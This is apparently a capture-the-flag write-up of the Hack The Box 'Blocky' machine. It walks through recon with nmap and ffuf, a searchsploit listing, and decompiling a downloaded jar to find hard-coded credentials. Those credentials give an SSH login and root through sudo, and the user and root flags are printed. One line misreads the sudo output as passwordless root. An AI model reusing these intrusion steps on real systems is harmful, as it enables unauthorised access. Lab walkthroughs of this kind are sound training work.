> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/blocky.md).

# Blocky

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FhmRcOEe2m2HcySmxfCQW%2FBlocky.png?alt=media&amp;token=922cc512-1993-4b2f-8c07-2a5c94fb6dfb" alt="" width="563"><figcaption><p>Blocky</p></figcaption></figure>

## <mark style="color:blue;">Recon</mark>

```bash
ping -c 1 10.10.10.37
PING 10.10.10.37 (10.10.10.37) 56(84) bytes of data.
64 bytes from 10.10.10.37: icmp_seq=1 ttl=63 time=58.9 ms

--- 10.10.10.37 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 58.884/58.884/58.884/0.000 ms
```

* Target OS is Linux.
* Target is alive.

Lets scan a target.

```bash
sudo nmap -sC -sV 10.10.10.37 -T5 -p- -oN blocky
```

```bash
PORT      STATE  SERVICE   VERSION
21/tcp    open   ftp       ProFTPD 1.3.5a
22/tcp    open   ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp    open   http      Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://blocky.htb
|_http-server-header: Apache/2.4.18 (Ubuntu)
8192/tcp  closed sophos
25565/tcp open   minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 217.76 seconds
```

Some interesting ports are open, especially Minecraft Server.

But ok lets start with FTP.

## <mark style="color:orange;">FTP</mark>

```bash
ftp anonymous@10.10.10.37
Connected to 10.10.10.37.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37]
331 Password required for anonymous
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.
```

Need credentials.

```bash
searchsploit ProFTPD       
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
FreeBSD - 'ftpd / ProFTPd' Remote Command Execution                                                                                                                                                         | freebsd/remote/18181.txt
ProFTPd - 'ftpdctl' 'pr_ctrls_connect' Local Overflow                                                                                                                                                       | linux/local/394.c
ProFTPd - 'mod_mysql' Authentication Bypass                                                                                                                                                                 | multiple/remote/8037.txt
ProFTPd - 'mod_sftp' Integer Overflow Denial of Service (PoC)                                                                                                                                               | linux/dos/16129.txt
ProFTPd 1.2 - 'SIZE' Remote Denial of Service                                                                                                                                                               | linux/dos/20536.java
ProFTPd 1.2 < 1.3.0 (Linux) - 'sreplace' Remote Buffer Overflow (Metasploit)                                                                                                                                | linux/remote/16852.rb
ProFTPd 1.2 pre1/pre2/pre3/pre4/pre5 - Remote Buffer Overflow (1)                                                                                                                                           | linux/remote/19475.c
ProFTPd 1.2 pre1/pre2/pre3/pre4/pre5 - Remote Buffer Overflow (2)                                                                                                                                           | linux/remote/19476.c
ProFTPd 1.2 pre6 - 'snprintf' Remote Root                                                                                                                                                                   | linux/remote/19503.txt
ProFTPd 1.2.0 pre10 - Remote Denial of Service                                                                                                                                                              | linux/dos/244.java
ProFTPd 1.2.0 rc2 - Memory Leakage                                                                                                                                                                          | linux/dos/241.c
ProFTPd 1.2.10 - Remote Users Enumeration                                                                                                                                                                   | linux/remote/581.c
ProFTPd 1.2.7 < 1.2.9rc2 - Remote Code Execution / Brute Force                                                                                                                                              | linux/remote/110.c
ProFTPd 1.2.7/1.2.8 - '.ASCII' File Transfer Buffer Overrun                                                                                                                                                 | linux/dos/23170.c
ProFTPd 1.2.9 RC1 - 'mod_sql' SQL Injection                                                                                                                                                                 | linux/remote/43.pl
ProFTPd 1.2.9 rc2 - '.ASCII' File Remote Code Execution (1)                                                                                                                                                 | linux/remote/107.c
ProFTPd 1.2.9 rc2 - '.ASCII' File Remote Code Execution (2)                                                                                                                                                 | linux/remote/3021.txt
ProFTPd 1.2.x - 'STAT' Denial of Service                                                                                                                                                                    | linux/dos/22079.sh
ProFTPd 1.3 - 'mod_sql' 'Username' SQL Injection                                                                                                                                                            | multiple/remote/32798.pl
ProFTPd 1.3.0 (OpenSUSE) - 'mod_ctrls' Local Stack Overflow                                                                                                                                                 | unix/local/10044.pl
ProFTPd 1.3.0 - 'sreplace' Remote Stack Overflow (Metasploit)                                                                                                                                               | linux/remote/2856.pm
ProFTPd 1.3.0/1.3.0a - 'mod_ctrls' 'support' Local Buffer Overflow (1)                                                                                                                                      | linux/local/3330.pl
ProFTPd 1.3.0/1.3.0a - 'mod_ctrls' 'support' Local Buffer Overflow (2)                                                                                                                                      | linux/local/3333.pl
ProFTPd 1.3.0/1.3.0a - 'mod_ctrls' exec-shield Local Overflow                                                                                                                                               | linux/local/3730.txt
ProFTPd 1.3.0a - 'mod_ctrls' 'support' Local Buffer Overflow (PoC)                                                                                                                                          | linux/dos/2928.py
ProFTPd 1.3.2 rc3 < 1.3.3b (FreeBSD) - Telnet IAC Buffer Overflow (Metasploit)                                                                                                                              | linux/remote/16878.rb
ProFTPd 1.3.2 rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow (Metasploit)                                                                                                                                | linux/remote/16851.rb
ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution                                                                                                                                          | linux/remote/15662.txt
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)                                                                                                                                                   | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution                                                                                                                                                         | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)                                                                                                                                                     | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy                                                                                                                                                                                   | linux/remote/36742.txt
ProFTPD 1.3.7a - Remote Denial of Service                                                                                                                                                                   | multiple/dos/49697.py
ProFTPd 1.x - 'mod_tls' Remote Buffer Overflow                                                                                                                                                              | linux/remote/4312.c
ProFTPd IAC 1.3.x - Remote Command Execution                                                                                                                                                                | linux/remote/15449.pl
ProFTPd-1.3.3c - Backdoor Command Execution (Metasploit)                                                                                                                                                    | linux/remote/16921.rb
WU-FTPD 2.4.2 / SCO Open Server 5.0.5 / ProFTPd 1.2 pre1 - 'realpath' Remote Buffer Overflow (1)                                                                                                            | linux/remote/19086.c
WU-FTPD 2.4.2 / SCO Open Server 5.0.5 / ProFTPd 1.2 pre1 - 'realpath' Remote Buffer Overflow (2)                                                                                                            | linux/remote/19087.c
WU-FTPD 2.4/2.5/2.6 / Trolltech ftpd 1.2 / ProFTPd 1.2 / BeroFTPD 1.3.4 FTP - glob Expansion                                                                                                                | linux/remote/20690.sh
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```

Also there are something like <mark style="color:yellow;">'mod\_copy'</mark> for <mark style="color:red;">RCE</mark>, but I dont really know how to use it, so lets look at HTTP.

## <mark style="color:green;">HTTP</mark>

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FXS6kE3GalGBIupL0qaIQ%2FPasted%20image%2020240208172843.png?alt=media&amp;token=4a515ec2-429c-4d21-9949-707b8953677c" alt=""><figcaption></figcaption></figure>

Normal Web Page, nothing to interesting.

Looks like *<mark style="color:blue;">WordPress</mark>*, so I will scan it with <mark style="color:blue;">**wp-scan**</mark>.

But before that lets fuzz it like usually.

```bash
ffuf -u http://blocky.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt                

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://blocky.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

wp-content              [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 97ms]
javascript              [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 118ms]
wiki                    [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 118ms]
phpmyadmin              [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 87ms]
plugins                 [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 3800ms]
wp-admin                [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 3801ms]
wp-includes             [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 4770ms]
server-status           [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 74ms]
                        [Status: 200, Size: 52227, Words: 3306, Lines: 314, Duration: 111ms]
:: Progress: [30000/30000] :: Job [1/1] :: 389 req/sec :: Duration: [0:01:17] :: Errors: 2 ::
```

Yeah as I thought it is *<mark style="color:blue;">WordPress</mark>*.

But lets check other directories too.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FlXHds0cAksXSC4WI8Pse%2FPasted%20image%2020240208172900.png?alt=media&amp;token=8125536b-06ed-4412-9ff8-aa7d49a63772" alt=""><figcaption></figcaption></figure>

In <mark style="color:blue;">"Plugins/files"</mark> directory are 2 files with <mark style="color:orange;">"jar"</mark> extension means that Java, must be something for Minecraft.

Lets download it.

```bash
wget http://blocky.htb/plugins/files/BlockyCore.jar                                                  
--2024-02-08 17:29:14--  http://blocky.htb/plugins/files/BlockyCore.jar
Resolving blocky.htb (blocky.htb)... 10.10.10.37
Connecting to blocky.htb (blocky.htb)|10.10.10.37|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 883 [application/java-archive]
Saving to: ‘BlockyCore.jar’

BlockyCore.jar                                              100%[=========================================================================================================================================>]     883  --.-KB/s    in 0s      

2024-02-08 17:29:14 (57.5 MB/s) - ‘BlockyCore.jar’ saved [883/883]
```

## <mark style="color:red;">notch shell</mark>

We can reverse .jar files with tool named "jd-gui", and look at source code.

It is not coming by default on Kali Linux, so firstly lets download it.

```bash
sudo apt install jd-gui
```

```bash
jd-gui
```

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FBSt1otGHhaWwlGDzl70E%2FPasted%20image%2020240208173551.png?alt=media&amp;token=81fe3073-3d53-4a44-b6fc-ec1aad231839" alt=""><figcaption></figcaption></figure>

In source-code there are hard-coded credentials. Lets copy a password.

> Also we can find a possible username on WordPress web-page under the post.

Tried this password for root, but unsuccessful, lets try another user.

```bash
ssh notch@10.10.10.37         
notch@10.10.10.37's password: 
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

7 packages can be updated.
7 updates are security updates.


Last login: Fri Jul  8 07:16:08 2022 from 10.10.14.29
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

notch@Blocky:~$ ls
minecraft  user.txt
notch@Blocky:~$ cat user.txt
f63db82572bfa9dbc2de61258141bb58
```

And we are in!

Also got a user.flag

## <mark style="color:red;">root shell</mark>

```bash
notch@Blocky:~$ sudo -l
[sudo] password for notch: 
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL
```

Well, this means that everyone can run commands as root without a password.

```bash
notch@Blocky:~$ sudo su
root@Blocky:/home/notch# 
```

```bash
root@Blocky:~# cat root.txt
bfc0974fc3ab667617891c32ae9c842d
```

Got a root.flag